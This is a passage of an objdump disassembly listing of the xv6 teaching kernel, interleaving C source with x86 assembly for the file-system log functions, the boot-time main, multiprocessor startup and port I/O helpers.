8010339c: 8b 45 ec mov -0x14(%ebp),%eax
8010339f: 89 04 24 mov %eax,(%esp)
801033a2: e8 85 ce ff ff call 8010022c <brelse>
static void
install_trans(void)
{
int tail;
for (tail = 0; tail < log.lh.n; tail++) {
801033a7: ff 45 f4 incl -0xc(%ebp)
801033aa: a1 88 37 11 80 mov 0x80113788,%eax
801033af: 3b 45 f4 cmp -0xc(%ebp),%eax
801033b2: 0f 8f 69 ff ff ff jg 80103321 <install_trans+0x12>
memmove(dbuf->data, lbuf->data, BSIZE); // copy block to dst
bwrite(dbuf); // write dst to disk
brelse(lbuf);
brelse(dbuf);
}
}
801033b8: c9 leave
801033b9: c3 ret
801033ba <read_head>:
// Read the log header from disk into the in-memory log header
static void
read_head(void)
{
801033ba: 55 push %ebp
801033bb: 89 e5 mov %esp,%ebp
801033bd: 83 ec 28 sub $0x28,%esp
struct buf *buf = bread(log.dev, log.start);
801033c0: a1 74 37 11 80 mov 0x80113774,%eax
801033c5: 89 c2 mov %eax,%edx
801033c7: a1 84 37 11 80 mov 0x80113784,%eax
801033cc: 89 54 24 04 mov %edx,0x4(%esp)
801033d0: 89 04 24 mov %eax,(%esp)
801033d3: e8 dd cd ff ff call 801001b5 <bread>
801033d8: 89 45 f0 mov %eax,-0x10(%ebp)
struct logheader *lh = (struct logheader *) (buf->data);
801033db: 8b 45 f0 mov -0x10(%ebp),%eax
801033de: 83 c0 5c add $0x5c,%eax
801033e1: 89 45 ec mov %eax,-0x14(%ebp)
int i;
log.lh.n = lh->n;
801033e4: 8b 45 ec mov -0x14(%ebp),%eax
801033e7: 8b 00 mov (%eax),%eax
801033e9: a3 88 37 11 80 mov %eax,0x80113788
for (i = 0; i < log.lh.n; i++) {
801033ee: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp)
801033f5: eb 1a jmp 80103411 <read_head+0x57>
log.lh.block[i] = lh->block[i];
801033f7: 8b 45 ec mov -0x14(%ebp),%eax
801033fa: 8b 55 f4 mov -0xc(%ebp),%edx
801033fd: 8b 44 90 04 mov 0x4(%eax,%edx,4),%eax
80103401: 8b 55 f4 mov -0xc(%ebp),%edx
80103404: 83 c2 10 add $0x10,%edx
80103407: 89 04 95 4c 37 11 80 mov %eax,-0x7feec8b4(,%edx,4)
{
struct buf *buf = bread(log.dev, log.start);
struct logheader *lh = (struct logheader *) (buf->data);
int i;
log.lh.n = lh->n;
for (i = 0; i < log.lh.n; i++) {
8010340e: ff 45 f4 incl -0xc(%ebp)
80103411: a1 88 37 11 80 mov 0x80113788,%eax
80103416: 3b 45 f4 cmp -0xc(%ebp),%eax
80103419: 7f dc jg 801033f7 <read_head+0x3d>
log.lh.block[i] = lh->block[i];
}
brelse(buf);
8010341b: 8b 45 f0 mov -0x10(%ebp),%eax
8010341e: 89 04 24 mov %eax,(%esp)
80103421: e8 06 ce ff ff call 8010022c <brelse>
}
80103426: c9 leave
80103427: c3 ret
80103428 <write_head>:
// Write in-memory log header to disk.
// This is the true point at which the
// current transaction commits.
static void
write_head(void)
{
80103428: 55 push %ebp
80103429: 89 e5 mov %esp,%ebp
8010342b: 83 ec 28 sub $0x28,%esp
struct buf *buf = bread(log.dev, log.start);
8010342e: a1 74 37 11 80 mov 0x80113774,%eax
80103433: 89 c2 mov %eax,%edx
80103435: a1 84 37 11 80 mov 0x80113784,%eax
8010343a: 89 54 24 04 mov %edx,0x4(%esp)
8010343e: 89 04 24 mov %eax,(%esp)
80103441: e8 6f cd ff ff call 801001b5 <bread>
80103446: 89 45 f0 mov %eax,-0x10(%ebp)
struct logheader *hb = (struct logheader *) (buf->data);
80103449: 8b 45 f0 mov -0x10(%ebp),%eax
8010344c: 83 c0 5c add $0x5c,%eax
8010344f: 89 45 ec mov %eax,-0x14(%ebp)
int i;
hb->n = log.lh.n;
80103452: 8b 15 88 37 11 80 mov 0x80113788,%edx
80103458: 8b 45 ec mov -0x14(%ebp),%eax
8010345b: 89 10 mov %edx,(%eax)
for (i = 0; i < log.lh.n; i++) {
8010345d: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp)
80103464: eb 1a jmp 80103480 <write_head+0x58>
hb->block[i] = log.lh.block[i];
80103466: 8b 45 f4 mov -0xc(%ebp),%eax
80103469: 83 c0 10 add $0x10,%eax
8010346c: 8b 0c 85 4c 37 11 80 mov -0x7feec8b4(,%eax,4),%ecx
80103473: 8b 45 ec mov -0x14(%ebp),%eax
80103476: 8b 55 f4 mov -0xc(%ebp),%edx
80103479: 89 4c 90 04 mov %ecx,0x4(%eax,%edx,4)
{
struct buf *buf = bread(log.dev, log.start);
struct logheader *hb = (struct logheader *) (buf->data);
int i;
hb->n = log.lh.n;
for (i = 0; i < log.lh.n; i++) {
8010347d: ff 45 f4 incl -0xc(%ebp)
80103480: a1 88 37 11 80 mov 0x80113788,%eax
80103485: 3b 45 f4 cmp -0xc(%ebp),%eax
80103488: 7f dc jg 80103466 <write_head+0x3e>
hb->block[i] = log.lh.block[i];
}
bwrite(buf);
8010348a: 8b 45 f0 mov -0x10(%ebp),%eax
8010348d: 89 04 24 mov %eax,(%esp)
80103490: e8 57 cd ff ff call 801001ec <bwrite>
brelse(buf);
80103495: 8b 45 f0 mov -0x10(%ebp),%eax
80103498: 89 04 24 mov %eax,(%esp)
8010349b: e8 8c cd ff ff call 8010022c <brelse>
}
801034a0: c9 leave
801034a1: c3 ret
801034a2 <recover_from_log>:
static void
recover_from_log(void)
{
801034a2: 55 push %ebp
801034a3: 89 e5 mov %esp,%ebp
801034a5: 83 ec 08 sub $0x8,%esp
read_head();
801034a8: e8 0d ff ff ff call 801033ba <read_head>
install_trans(); // if committed, copy from log to disk
801034ad: e8 5d fe ff ff call 8010330f <install_trans>
log.lh.n = 0;
801034b2: c7 05 88 37 11 80 00 movl $0x0,0x80113788
801034b9: 00 00 00
write_head(); // clear the log
801034bc: e8 67 ff ff ff call 80103428 <write_head>
}
801034c1: c9 leave
801034c2: c3 ret
801034c3 <begin_op>:
// called at the start of each FS system call.
void
begin_op(void)
{
801034c3: 55 push %ebp
801034c4: 89 e5 mov %esp,%ebp
801034c6: 83 ec 18 sub $0x18,%esp
acquire(&log.lock);
801034c9: c7 04 24 40 37 11 80 movl $0x80113740,(%esp)
801034d0: e8 52 1a 00 00 call 80104f27 <acquire>
while(1){
if(log.committing){
801034d5: a1 80 37 11 80 mov 0x80113780,%eax
801034da: 85 c0 test %eax,%eax
801034dc: 74 16 je 801034f4 <begin_op+0x31>
sleep(&log, &log.lock);
801034de: c7 44 24 04 40 37 11 movl $0x80113740,0x4(%esp)
801034e5: 80
801034e6: c7 04 24 40 37 11 80 movl $0x80113740,(%esp)
801034ed: e8 64 16 00 00 call 80104b56 <sleep>
801034f2: eb 4d jmp 80103541 <begin_op+0x7e>
} else if(log.lh.n + (log.outstanding+1)*MAXOPBLOCKS > LOGSIZE){
801034f4: 8b 15 88 37 11 80 mov 0x80113788,%edx
801034fa: a1 7c 37 11 80 mov 0x8011377c,%eax
801034ff: 8d 48 01 lea 0x1(%eax),%ecx
80103502: 89 c8 mov %ecx,%eax
80103504: c1 e0 02 shl $0x2,%eax
80103507: 01 c8 add %ecx,%eax
80103509: 01 c0 add %eax,%eax
8010350b: 01 d0 add %edx,%eax
8010350d: 83 f8 1e cmp $0x1e,%eax
80103510: 7e 16 jle 80103528 <begin_op+0x65>
// this op might exhaust log space; wait for commit.
sleep(&log, &log.lock);
80103512: c7 44 24 04 40 37 11 movl $0x80113740,0x4(%esp)
80103519: 80
8010351a: c7 04 24 40 37 11 80 movl $0x80113740,(%esp)
80103521: e8 30 16 00 00 call 80104b56 <sleep>
80103526: eb 19 jmp 80103541 <begin_op+0x7e>
} else {
log.outstanding += 1;
80103528: a1 7c 37 11 80 mov 0x8011377c,%eax
8010352d: 40 inc %eax
8010352e: a3 7c 37 11 80 mov %eax,0x8011377c
release(&log.lock);
80103533: c7 04 24 40 37 11 80 movl $0x80113740,(%esp)
8010353a: e8 4f 1a 00 00 call 80104f8e <release>
break;
8010353f: eb 02 jmp 80103543 <begin_op+0x80>
}
}
80103541: eb 92 jmp 801034d5 <begin_op+0x12>
}
80103543: c9 leave
80103544: c3 ret
80103545 <end_op>:
// called at the end of each FS system call.
// commits if this was the last outstanding operation.
void
end_op(void)
{
80103545: 55 push %ebp
80103546: 89 e5 mov %esp,%ebp
80103548: 83 ec 28 sub $0x28,%esp
int do_commit = 0;
8010354b: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp)
acquire(&log.lock);
80103552: c7 04 24 40 37 11 80 movl $0x80113740,(%esp)
80103559: e8 c9 19 00 00 call 80104f27 <acquire>
log.outstanding -= 1;
8010355e: a1 7c 37 11 80 mov 0x8011377c,%eax
80103563: 48 dec %eax
80103564: a3 7c 37 11 80 mov %eax,0x8011377c
if(log.committing)
80103569: a1 80 37 11 80 mov 0x80113780,%eax
8010356e: 85 c0 test %eax,%eax
80103570: 74 0c je 8010357e <end_op+0x39>
panic("log.committing");
80103572: c7 04 24 e4 87 10 80 movl $0x801087e4,(%esp)
80103579: e8 d6 cf ff ff call 80100554 <panic>
if(log.outstanding == 0){
8010357e: a1 7c 37 11 80 mov 0x8011377c,%eax
80103583: 85 c0 test %eax,%eax
80103585: 75 13 jne 8010359a <end_op+0x55>
do_commit = 1;
80103587: c7 45 f4 01 00 00 00 movl $0x1,-0xc(%ebp)
log.committing = 1;
8010358e: c7 05 80 37 11 80 01 movl $0x1,0x80113780
80103595: 00 00 00
80103598: eb 0c jmp 801035a6 <end_op+0x61>
} else {
// begin_op() may be waiting for log space.
wakeup(&log);
8010359a: c7 04 24 40 37 11 80 movl $0x80113740,(%esp)
801035a1: e8 89 16 00 00 call 80104c2f <wakeup>
}
release(&log.lock);
801035a6: c7 04 24 40 37 11 80 movl $0x80113740,(%esp)
801035ad: e8 dc 19 00 00 call 80104f8e <release>
if(do_commit){
801035b2: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
801035b6: 74 33 je 801035eb <end_op+0xa6>
// call commit w/o holding locks, since not allowed
// to sleep with locks.
commit();
801035b8: e8 db 00 00 00 call 80103698 <commit>
acquire(&log.lock);
801035bd: c7 04 24 40 37 11 80 movl $0x80113740,(%esp)
801035c4: e8 5e 19 00 00 call 80104f27 <acquire>
log.committing = 0;
801035c9: c7 05 80 37 11 80 00 movl $0x0,0x80113780
801035d0: 00 00 00
wakeup(&log);
801035d3: c7 04 24 40 37 11 80 movl $0x80113740,(%esp)
801035da: e8 50 16 00 00 call 80104c2f <wakeup>
release(&log.lock);
801035df: c7 04 24 40 37 11 80 movl $0x80113740,(%esp)
801035e6: e8 a3 19 00 00 call 80104f8e <release>
}
}
801035eb: c9 leave
801035ec: c3 ret
801035ed <write_log>:
// Copy modified blocks from cache to log.
static void
write_log(void)
{
801035ed: 55 push %ebp
801035ee: 89 e5 mov %esp,%ebp
801035f0: 83 ec 28 sub $0x28,%esp
int tail;
for (tail = 0; tail < log.lh.n; tail++) {
801035f3: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp)
801035fa: e9 89 00 00 00 jmp 80103688 <write_log+0x9b>
struct buf *to = bread(log.dev, log.start+tail+1); // log block
801035ff: 8b 15 74 37 11 80 mov 0x80113774,%edx
80103605: 8b 45 f4 mov -0xc(%ebp),%eax
80103608: 01 d0 add %edx,%eax
8010360a: 40 inc %eax
8010360b: 89 c2 mov %eax,%edx
8010360d: a1 84 37 11 80 mov 0x80113784,%eax
80103612: 89 54 24 04 mov %edx,0x4(%esp)
80103616: 89 04 24 mov %eax,(%esp)
80103619: e8 97 cb ff ff call 801001b5 <bread>
8010361e: 89 45 f0 mov %eax,-0x10(%ebp)
struct buf *from = bread(log.dev, log.lh.block[tail]); // cache block
80103621: 8b 45 f4 mov -0xc(%ebp),%eax
80103624: 83 c0 10 add $0x10,%eax
80103627: 8b 04 85 4c 37 11 80 mov -0x7feec8b4(,%eax,4),%eax
8010362e: 89 c2 mov %eax,%edx
80103630: a1 84 37 11 80 mov 0x80113784,%eax
80103635: 89 54 24 04 mov %edx,0x4(%esp)
80103639: 89 04 24 mov %eax,(%esp)
8010363c: e8 74 cb ff ff call 801001b5 <bread>
80103641: 89 45 ec mov %eax,-0x14(%ebp)
memmove(to->data, from->data, BSIZE);
80103644: 8b 45 ec mov -0x14(%ebp),%eax
80103647: 8d 50 5c lea 0x5c(%eax),%edx
8010364a: 8b 45 f0 mov -0x10(%ebp),%eax
8010364d: 83 c0 5c add $0x5c,%eax
80103650: c7 44 24 08 00 02 00 movl $0x200,0x8(%esp)
80103657: 00
80103658: 89 54 24 04 mov %edx,0x4(%esp)
8010365c: 89 04 24 mov %eax,(%esp)
8010365f: e8 ef 1b 00 00 call 80105253 <memmove>
bwrite(to); // write the log
80103664: 8b 45 f0 mov -0x10(%ebp),%eax
80103667: 89 04 24 mov %eax,(%esp)
8010366a: e8 7d cb ff ff call 801001ec <bwrite>
brelse(from);
8010366f: 8b 45 ec mov -0x14(%ebp),%eax
80103672: 89 04 24 mov %eax,(%esp)
80103675: e8 b2 cb ff ff call 8010022c <brelse>
brelse(to);
8010367a: 8b 45 f0 mov -0x10(%ebp),%eax
8010367d: 89 04 24 mov %eax,(%esp)
80103680: e8 a7 cb ff ff call 8010022c <brelse>
static void
write_log(void)
{
int tail;
for (tail = 0; tail < log.lh.n; tail++) {
80103685: ff 45 f4 incl -0xc(%ebp)
80103688: a1 88 37 11 80 mov 0x80113788,%eax
8010368d: 3b 45 f4 cmp -0xc(%ebp),%eax
80103690: 0f 8f 69 ff ff ff jg 801035ff <write_log+0x12>
memmove(to->data, from->data, BSIZE);
bwrite(to); // write the log
brelse(from);
brelse(to);
}
}
80103696: c9 leave
80103697: c3 ret
80103698 <commit>:
static void
commit()
{
80103698: 55 push %ebp
80103699: 89 e5 mov %esp,%ebp
8010369b: 83 ec 08 sub $0x8,%esp
if (log.lh.n > 0) {
8010369e: a1 88 37 11 80 mov 0x80113788,%eax
801036a3: 85 c0 test %eax,%eax
801036a5: 7e 1e jle 801036c5 <commit+0x2d>
write_log(); // Write modified blocks from cache to log
801036a7: e8 41 ff ff ff call 801035ed <write_log>
write_head(); // Write header to disk -- the real commit
801036ac: e8 77 fd ff ff call 80103428 <write_head>
install_trans(); // Now install writes to home locations
801036b1: e8 59 fc ff ff call 8010330f <install_trans>
log.lh.n = 0;
801036b6: c7 05 88 37 11 80 00 movl $0x0,0x80113788
801036bd: 00 00 00
write_head(); // Erase the transaction from the log
801036c0: e8 63 fd ff ff call 80103428 <write_head>
}
}
801036c5: c9 leave
801036c6: c3 ret
801036c7 <log_write>:
// modify bp->data[]
// log_write(bp)
// brelse(bp)
void
log_write(struct buf *b)
{
801036c7: 55 push %ebp
801036c8: 89 e5 mov %esp,%ebp
801036ca: 83 ec 28 sub $0x28,%esp
int i;
if (log.lh.n >= LOGSIZE || log.lh.n >= log.size - 1)
801036cd: a1 88 37 11 80 mov 0x80113788,%eax
801036d2: 83 f8 1d cmp $0x1d,%eax
801036d5: 7f 10 jg 801036e7 <log_write+0x20>
801036d7: a1 88 37 11 80 mov 0x80113788,%eax
801036dc: 8b 15 78 37 11 80 mov 0x80113778,%edx
801036e2: 4a dec %edx
801036e3: 39 d0 cmp %edx,%eax
801036e5: 7c 0c jl 801036f3 <log_write+0x2c>
panic("too big a transaction");
801036e7: c7 04 24 f3 87 10 80 movl $0x801087f3,(%esp)
801036ee: e8 61 ce ff ff call 80100554 <panic>
if (log.outstanding < 1)
801036f3: a1 7c 37 11 80 mov 0x8011377c,%eax
801036f8: 85 c0 test %eax,%eax
801036fa: 7f 0c jg 80103708 <log_write+0x41>
panic("log_write outside of trans");
801036fc: c7 04 24 09 88 10 80 movl $0x80108809,(%esp)
80103703: e8 4c ce ff ff call 80100554 <panic>
acquire(&log.lock);
80103708: c7 04 24 40 37 11 80 movl $0x80113740,(%esp)
8010370f: e8 13 18 00 00 call 80104f27 <acquire>
for (i = 0; i < log.lh.n; i++) {
80103714: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp)
8010371b: eb 1e jmp 8010373b <log_write+0x74>
if (log.lh.block[i] == b->blockno) // log absorbtion
8010371d: 8b 45 f4 mov -0xc(%ebp),%eax
80103720: 83 c0 10 add $0x10,%eax
80103723: 8b 04 85 4c 37 11 80 mov -0x7feec8b4(,%eax,4),%eax
8010372a: 89 c2 mov %eax,%edx
8010372c: 8b 45 08 mov 0x8(%ebp),%eax
8010372f: 8b 40 08 mov 0x8(%eax),%eax
80103732: 39 c2 cmp %eax,%edx
80103734: 75 02 jne 80103738 <log_write+0x71>
break;
80103736: eb 0d jmp 80103745 <log_write+0x7e>
panic("too big a transaction");
if (log.outstanding < 1)
panic("log_write outside of trans");
acquire(&log.lock);
for (i = 0; i < log.lh.n; i++) {
80103738: ff 45 f4 incl -0xc(%ebp)
8010373b: a1 88 37 11 80 mov 0x80113788,%eax
80103740: 3b 45 f4 cmp -0xc(%ebp),%eax
80103743: 7f d8 jg 8010371d <log_write+0x56>
if (log.lh.block[i] == b->blockno) // log absorbtion
break;
}
log.lh.block[i] = b->blockno;
80103745: 8b 45 08 mov 0x8(%ebp),%eax
80103748: 8b 40 08 mov 0x8(%eax),%eax
8010374b: 8b 55 f4 mov -0xc(%ebp),%edx
8010374e: 83 c2 10 add $0x10,%edx
80103751: 89 04 95 4c 37 11 80 mov %eax,-0x7feec8b4(,%edx,4)
if (i == log.lh.n)
80103758: a1 88 37 11 80 mov 0x80113788,%eax
8010375d: 3b 45 f4 cmp -0xc(%ebp),%eax
80103760: 75 0b jne 8010376d <log_write+0xa6>
log.lh.n++;
80103762: a1 88 37 11 80 mov 0x80113788,%eax
80103767: 40 inc %eax
80103768: a3 88 37 11 80 mov %eax,0x80113788
b->flags |= B_DIRTY; // prevent eviction
8010376d: 8b 45 08 mov 0x8(%ebp),%eax
80103770: 8b 00 mov (%eax),%eax
80103772: 83 c8 04 or $0x4,%eax
80103775: 89 c2 mov %eax,%edx
80103777: 8b 45 08 mov 0x8(%ebp),%eax
8010377a: 89 10 mov %edx,(%eax)
release(&log.lock);
8010377c: c7 04 24 40 37 11 80 movl $0x80113740,(%esp)
80103783: e8 06 18 00 00 call 80104f8e <release>
}
80103788: c9 leave
80103789: c3 ret
...
8010378c <xchg>:
asm volatile("sti");
}
static inline uint
xchg(volatile uint *addr, uint newval)
{
8010378c: 55 push %ebp
8010378d: 89 e5 mov %esp,%ebp
8010378f: 83 ec 10 sub $0x10,%esp
uint result;
// The + in "+m" denotes a read-modify-write operand.
asm volatile("lock; xchgl %0, %1" :
80103792: 8b 55 08 mov 0x8(%ebp),%edx
80103795: 8b 45 0c mov 0xc(%ebp),%eax
80103798: 8b 4d 08 mov 0x8(%ebp),%ecx
8010379b: f0 87 02 lock xchg %eax,(%edx)
8010379e: 89 45 fc mov %eax,-0x4(%ebp)
"+m" (*addr), "=a" (result) :
"1" (newval) :
"cc");
return result;
801037a1: 8b 45 fc mov -0x4(%ebp),%eax
}
801037a4: c9 leave
801037a5: c3 ret
801037a6 <main>:
// Bootstrap processor starts running C code here.
// Allocate a real stack and switch to it, first
// doing some setup required for memory allocator to work.
int
main(void)
{
801037a6: 55 push %ebp
801037a7: 89 e5 mov %esp,%ebp
801037a9: 83 e4 f0 and $0xfffffff0,%esp
801037ac: 83 ec 10 sub $0x10,%esp
kinit1(end, P2V(4*1024*1024)); // phys page allocator
801037af: c7 44 24 04 00 00 40 movl $0x80400000,0x4(%esp)
801037b6: 80
801037b7: c7 04 24 c8 65 11 80 movl $0x801165c8,(%esp)
801037be: e8 75 f2 ff ff call 80102a38 <kinit1>
kvmalloc(); // kernel page table
801037c3: e8 b3 45 00 00 call 80107d7b <kvmalloc>
mpinit(); // detect other processors
801037c8: e8 00 04 00 00 call 80103bcd <mpinit>
lapicinit(); // interrupt controller
801037cd: e8 c6 f5 ff ff call 80102d98 <lapicinit>
seginit(); // segment descriptors
801037d2: e8 80 3f 00 00 call 80107757 <seginit>
cprintf("\ncpu%d: starting xv6\n\n", cpunum());
801037d7: e8 15 f7 ff ff call 80102ef1 <cpunum>
801037dc: 89 44 24 04 mov %eax,0x4(%esp)
801037e0: c7 04 24 24 88 10 80 movl $0x80108824,(%esp)
801037e7: e8 d5 cb ff ff call 801003c1 <cprintf>
picinit(); // another interrupt controller
801037ec: e8 c0 05 00 00 call 80103db1 <picinit>
ioapicinit(); // another interrupt controller
801037f1: e8 47 f1 ff ff call 8010293d <ioapicinit>
consoleinit(); // console hardware
801037f6: e8 a8 d2 ff ff call 80100aa3 <consoleinit>
uartinit(); // serial port
801037fb: e8 c3 32 00 00 call 80106ac3 <uartinit>
pinit(); // process table
80103800: e8 f9 0a 00 00 call 801042fe <pinit>
tvinit(); // trap vectors
80103805: e8 a2 2e 00 00 call 801066ac <tvinit>
binit(); // buffer cache
8010380a: e8 25 c8 ff ff call 80100034 <binit>
fileinit(); // file table
8010380f: e8 2c d7 ff ff call 80100f40 <fileinit>
ideinit(); // disk
80103814: e8 24 ed ff ff call 8010253d <ideinit>
if(!ismp)
80103819: a1 24 38 11 80 mov 0x80113824,%eax
8010381e: 85 c0 test %eax,%eax
80103820: 75 05 jne 80103827 <main+0x81>
timerinit(); // uniprocessor timer
80103822: e8 d1 2d 00 00 call 801065f8 <timerinit>
startothers(); // start other processors
80103827: e8 78 00 00 00 call 801038a4 <startothers>
kinit2(P2V(4*1024*1024), P2V(PHYSTOP)); // must come after startothers()
8010382c: c7 44 24 04 00 00 00 movl $0x8e000000,0x4(%esp)
80103833: 8e
80103834: c7 04 24 00 00 40 80 movl $0x80400000,(%esp)
8010383b: e8 30 f2 ff ff call 80102a70 <kinit2>
userinit(); // first user process
80103840: e8 d4 0b 00 00 call 80104419 <userinit>
mpmain(); // finish this processor's setup
80103845: e8 1a 00 00 00 call 80103864 <mpmain>
8010384a <mpenter>:
}
// Other CPUs jump here from entryother.S.
static void
mpenter(void)
{
8010384a: 55 push %ebp
8010384b: 89 e5 mov %esp,%ebp
8010384d: 83 ec 08 sub $0x8,%esp
switchkvm();
80103850: e8 3d 45 00 00 call 80107d92 <switchkvm>
seginit();
80103855: e8 fd 3e 00 00 call 80107757 <seginit>
lapicinit();
8010385a: e8 39 f5 ff ff call 80102d98 <lapicinit>
mpmain();
8010385f: e8 00 00 00 00 call 80103864 <mpmain>
80103864 <mpmain>:
}
// Common CPU setup code.
static void
mpmain(void)
{
80103864: 55 push %ebp
80103865: 89 e5 mov %esp,%ebp
80103867: 83 ec 18 sub $0x18,%esp
cprintf("cpu%d: starting\n", cpunum());
8010386a: e8 82 f6 ff ff call 80102ef1 <cpunum>
8010386f: 89 44 24 04 mov %eax,0x4(%esp)
80103873: c7 04 24 3b 88 10 80 movl $0x8010883b,(%esp)
8010387a: e8 42 cb ff ff call 801003c1 <cprintf>
idtinit(); // load idt register
8010387f: e8 85 2f 00 00 call 80106809 <idtinit>
xchg(&cpu->started, 1); // tell startothers() we're up
80103884: 65 a1 00 00 00 00 mov %gs:0x0,%eax
8010388a: 05 a8 00 00 00 add $0xa8,%eax
8010388f: c7 44 24 04 01 00 00 movl $0x1,0x4(%esp)
80103896: 00
80103897: 89 04 24 mov %eax,(%esp)
8010389a: e8 ed fe ff ff call 8010378c <xchg>
scheduler(); // start running processes
8010389f: e8 fa 10 00 00 call 8010499e <scheduler>
801038a4 <startothers>:
pde_t entrypgdir[]; // For entry.S
// Start the non-boot (AP) processors.
static void
startothers(void)
{
801038a4: 55 push %ebp
801038a5: 89 e5 mov %esp,%ebp
801038a7: 83 ec 28 sub $0x28,%esp
char *stack;
// Write entry code to unused memory at 0x7000.
// The linker has placed the image of entryother.S in
// _binary_entryother_start.
code = P2V(0x7000);
801038aa: c7 45 f0 00 70 00 80 movl $0x80007000,-0x10(%ebp)
memmove(code, _binary_entryother_start, (uint)_binary_entryother_size);
801038b1: b8 8a 00 00 00 mov $0x8a,%eax
801038b6: 89 44 24 08 mov %eax,0x8(%esp)
801038ba: c7 44 24 04 2c b5 10 movl $0x8010b52c,0x4(%esp)
801038c1: 80
801038c2: 8b 45 f0 mov -0x10(%ebp),%eax
801038c5: 89 04 24 mov %eax,(%esp)
801038c8: e8 86 19 00 00 call 80105253 <memmove>
for(c = cpus; c < cpus+ncpu; c++){
801038cd: c7 45 f4 40 38 11 80 movl $0x80113840,-0xc(%ebp)
801038d4: e9 90 00 00 00 jmp 80103969 <startothers+0xc5>
if(c == cpus+cpunum()) // We've started already.
801038d9: e8 13 f6 ff ff call 80102ef1 <cpunum>
801038de: 89 c2 mov %eax,%edx
801038e0: 89 d0 mov %edx,%eax
801038e2: c1 e0 02 shl $0x2,%eax
801038e5: 01 d0 add %edx,%eax
801038e7: 01 c0 add %eax,%eax
801038e9: 01 d0 add %edx,%eax
801038eb: 89 c1 mov %eax,%ecx
801038ed: c1 e1 04 shl $0x4,%ecx
801038f0: 01 c8 add %ecx,%eax
801038f2: 01 d0 add %edx,%eax
801038f4: 05 40 38 11 80 add $0x80113840,%eax
801038f9: 3b 45 f4 cmp -0xc(%ebp),%eax
801038fc: 75 02 jne 80103900 <startothers+0x5c>
continue;
801038fe: eb 62 jmp 80103962 <startothers+0xbe>
// Tell entryother.S what stack to use, where to enter, and what
// pgdir to use. We cannot use kpgdir yet, because the AP processor
// is running in low memory, so we use entrypgdir for the APs too.
stack = kalloc();
80103900: e8 5e f2 ff ff call 80102b63 <kalloc>
80103905: 89 45 ec mov %eax,-0x14(%ebp)
*(void**)(code-4) = stack + KSTACKSIZE;
80103908: 8b 45 f0 mov -0x10(%ebp),%eax
8010390b: 83 e8 04 sub $0x4,%eax
8010390e: 8b 55 ec mov -0x14(%ebp),%edx
80103911: 81 c2 00 10 00 00 add $0x1000,%edx
80103917: 89 10 mov %edx,(%eax)
*(void**)(code-8) = mpenter;
80103919: 8b 45 f0 mov -0x10(%ebp),%eax
8010391c: 83 e8 08 sub $0x8,%eax
8010391f: c7 00 4a 38 10 80 movl $0x8010384a,(%eax)
*(int**)(code-12) = (void *) V2P(entrypgdir);
80103925: 8b 45 f0 mov -0x10(%ebp),%eax
80103928: 8d 50 f4 lea -0xc(%eax),%edx
8010392b: b8 00 a0 10 80 mov $0x8010a000,%eax
80103930: 05 00 00 00 80 add $0x80000000,%eax
80103935: 89 02 mov %eax,(%edx)
lapicstartap(c->apicid, V2P(code));
80103937: 8b 45 f0 mov -0x10(%ebp),%eax
8010393a: 8d 90 00 00 00 80 lea -0x80000000(%eax),%edx
80103940: 8b 45 f4 mov -0xc(%ebp),%eax
80103943: 8a 00 mov (%eax),%al
80103945: 0f b6 c0 movzbl %al,%eax
80103948: 89 54 24 04 mov %edx,0x4(%esp)
8010394c: 89 04 24 mov %eax,(%esp)
8010394f: e8 6f f6 ff ff call 80102fc3 <lapicstartap>
// wait for cpu to finish mpmain()
while(c->started == 0)
80103954: 90 nop
80103955: 8b 45 f4 mov -0xc(%ebp),%eax
80103958: 8b 80 a8 00 00 00 mov 0xa8(%eax),%eax
8010395e: 85 c0 test %eax,%eax
80103960: 74 f3 je 80103955 <startothers+0xb1>
// The linker has placed the image of entryother.S in
// _binary_entryother_start.
code = P2V(0x7000);
memmove(code, _binary_entryother_start, (uint)_binary_entryother_size);
for(c = cpus; c < cpus+ncpu; c++){
80103962: 81 45 f4 bc 00 00 00 addl $0xbc,-0xc(%ebp)
80103969: a1 20 3e 11 80 mov 0x80113e20,%eax
8010396e: 89 c2 mov %eax,%edx
80103970: 89 d0 mov %edx,%eax
80103972: c1 e0 02 shl $0x2,%eax
80103975: 01 d0 add %edx,%eax
80103977: 01 c0 add %eax,%eax
80103979: 01 d0 add %edx,%eax
8010397b: 89 c1 mov %eax,%ecx
8010397d: c1 e1 04 shl $0x4,%ecx
80103980: 01 c8 add %ecx,%eax
80103982: 01 d0 add %edx,%eax
80103984: 05 40 38 11 80 add $0x80113840,%eax
80103989: 3b 45 f4 cmp -0xc(%ebp),%eax
8010398c: 0f 87 47 ff ff ff ja 801038d9 <startothers+0x35>
// wait for cpu to finish mpmain()
while(c->started == 0)
;
}
}
80103992: c9 leave
80103993: c3 ret
80103994 <inb>:
// Routines to let C code use special x86 instructions.
static inline uchar
inb(ushort port)
{
80103994: 55 push %ebp
80103995: 89 e5 mov %esp,%ebp
80103997: 83 ec 14 sub $0x14,%esp
8010399a: 8b 45 08 mov 0x8(%ebp),%eax
8010399d: 66 89 45 ec mov %ax,-0x14(%ebp)
uchar data;
asm volatile("in %1,%0" : "=a" (data) : "d" (port));
801039a1: 8b 45 ec mov -0x14(%ebp),%eax
801039a4: 89 c2 mov %eax,%edx
801039a6: ec in (%dx),%al
801039a7: 88 45 ff mov %al,-0x1(%ebp)
return data;
801039aa: 8a 45 ff mov -0x1(%ebp),%al
}
801039ad: c9 leave
801039ae: c3 ret
801039af <outb>:
"memory", "cc");
}
static inline void
outb(ushort port, uchar data)
{
801039af: 55 push %ebp
801039b0: 89 e5 mov %esp,%ebp
801039b2: 83 ec 08 sub $0x8,%esp
801039b5: 8b 45 08 mov 0x8(%ebp),%eax
801039b8: 8b 55 0c mov 0xc(%ebp),%edx
801039bb: 66 89 45 fc mov %ax,-0x4(%ebp)
801039bf: 88 55 f8 mov %dl,-0x8(%ebp)
asm volatile("out %0,%1" : : "a" (data), "d" (port));
801039c2: 8a 45 f8 mov -0x8(%ebp),%al
801039c5: 8b 55 fc mov -0x4(%ebp),%edx
801039c8: ee out %al,(%dx)
}
801039c9: c9 leave
801039ca: c3 ret
801039cb <sum>:
int ncpu;
uchar ioapicid;
static uchar
sum(uchar *addr, int len)
{
801039cb: 55 push %ebp
801039cc: 89 e5 mov %esp,%ebp
